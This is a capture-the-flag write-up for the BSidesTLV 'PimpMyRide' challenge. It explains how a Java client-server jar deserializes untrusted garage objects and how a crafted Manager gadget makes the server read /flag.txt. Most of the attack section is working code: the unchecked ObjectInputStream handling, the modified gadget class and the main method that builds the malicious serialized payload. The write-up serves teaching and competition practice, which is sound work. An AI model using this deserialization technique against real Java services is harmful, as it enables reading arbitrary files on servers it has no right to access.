PimpMyRide
By Yaakov Cohen
Let's start, we got a jar file garage.jar
. We decompiled it with this site. You can find the files here.
We noticed that the jar file contained both the client's and the server's code.
@Parameter(names={"--listen"}, description="Starts Garage as a server")
Let's take a look at the server code. We see that when the client chooses [3] Save garage
the server serialize the garage object and sends it to the user:
else if (clientCommand.equalsIgnoreCase("3")) {
FileOutputStream fos = new FileOutputStream("garage");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(garage);
oos.flush();
Utils.sendGarage(myClientSocket, garage.toByteArray());
}
public class Garage implements Serializable
{
...
public byte[] toByteArray() throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(this);
return out.toByteArray();
}
}
Then the user takes the garage byte array and saves it to a file called "garage":
else if (sentence.equals("3")) {
Utils.writeToSocket(clientSocket, sentence);
byte[] garageByteArray = Utils.receiveGarage(clientSocket);
FileOutputStream fos = new FileOutputStream("garage");
fos.write(garageByteArray);
fos.close();
}
And when the client asks to [2] Load existing garage
the client takes the garage file and sends it to the server:
FileInputStream fis = new FileInputStream("garage");
byte[] garageByteArray = Files.readAllBytes(new File("garage").toPath());
Utils.sendGarage(clientSocket, garageByteArray);
Then the server takes that stream and serializes it to a garage object without performing any checks:
byte[] garageBytes = Utils.receiveGarage(myClientSocket);
ByteArrayInputStream in = new ByteArrayInputStream(garageBytes);
ObjectInputStream ois = new ObjectInputStream(in);
==> garage = ((Garage)ois.readObject());
ois.close();
In the garage
class we can see a private object private Employee garageManager;
that is never set. In the the code flow of the garageManager
class we can see that the function readObject
has a custom implementation, this function will be executed when the object is serialized:
public class Manager extends Employee implements java.io.Serializable
{
private String closeMessageFile;
private String closeMessage;
public Manager() throws IOException
{
closeMessageFile = "close.txt";
logger = new FileLogger("log.txt");
closeMessage = null;
}
....
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
in.defaultReadObject();
try {
if (closeMessage == null) {
java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
FileInputStream fis = new FileInputStream(closeMessageFile);
byte[] data = new byte[(int)closeMessageFile.length()];
fis.read(data);
fis.close();
closeMessage = new String(data, "UTF-8");
}
}
catch (IOException localIOException) {}
}
}
If only we could create a garageManager
and change closeMessageFile
attribute from close.txt
to /flag.txt
...
Wait a second, we can!
So the plan is:
- Create a garage object with a modified
garageManager
. - Send it to the server, in the serialization the
garageManager
will read/flag.txt
in thecloseMessage
attribute. - Save the garage to a file.
- Submit the flag.
We modified garage object:
public class Manager extends Employee implements java.io.Serializable
{
private String closeMessageFile;
private String closeMessage;
public Manager() throws IOException
{
closeMessageFile = "/flag.txt";
logger = null;//new FileLogger("log.txt");
closeMessage = null;
}
....
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
in.defaultReadObject();
try {
java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
FileInputStream fis = new FileInputStream(closeMessageFile);
byte[] data = new byte[(int)closeMessageFile.length()];
fis.read(data);
fis.close();
closeMessage = new String(data, "UTF-8");
}
catch (IOException localIOException) {}
}
}
Created a new garage object:
public static void main(String[] args){
Garage garage = new Garage();
garage.setManager(new Manager());
FileOutputStream fos = new FileOutputStream("garage");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(garage);
oos.flush();
}
Sent it to the server: [2] Load existing garage
, and got the new garage object from server: [3] Save garage
.
In the object file we can see the flag: BSidesTLV{I_Am_Inspector_Gadget}
.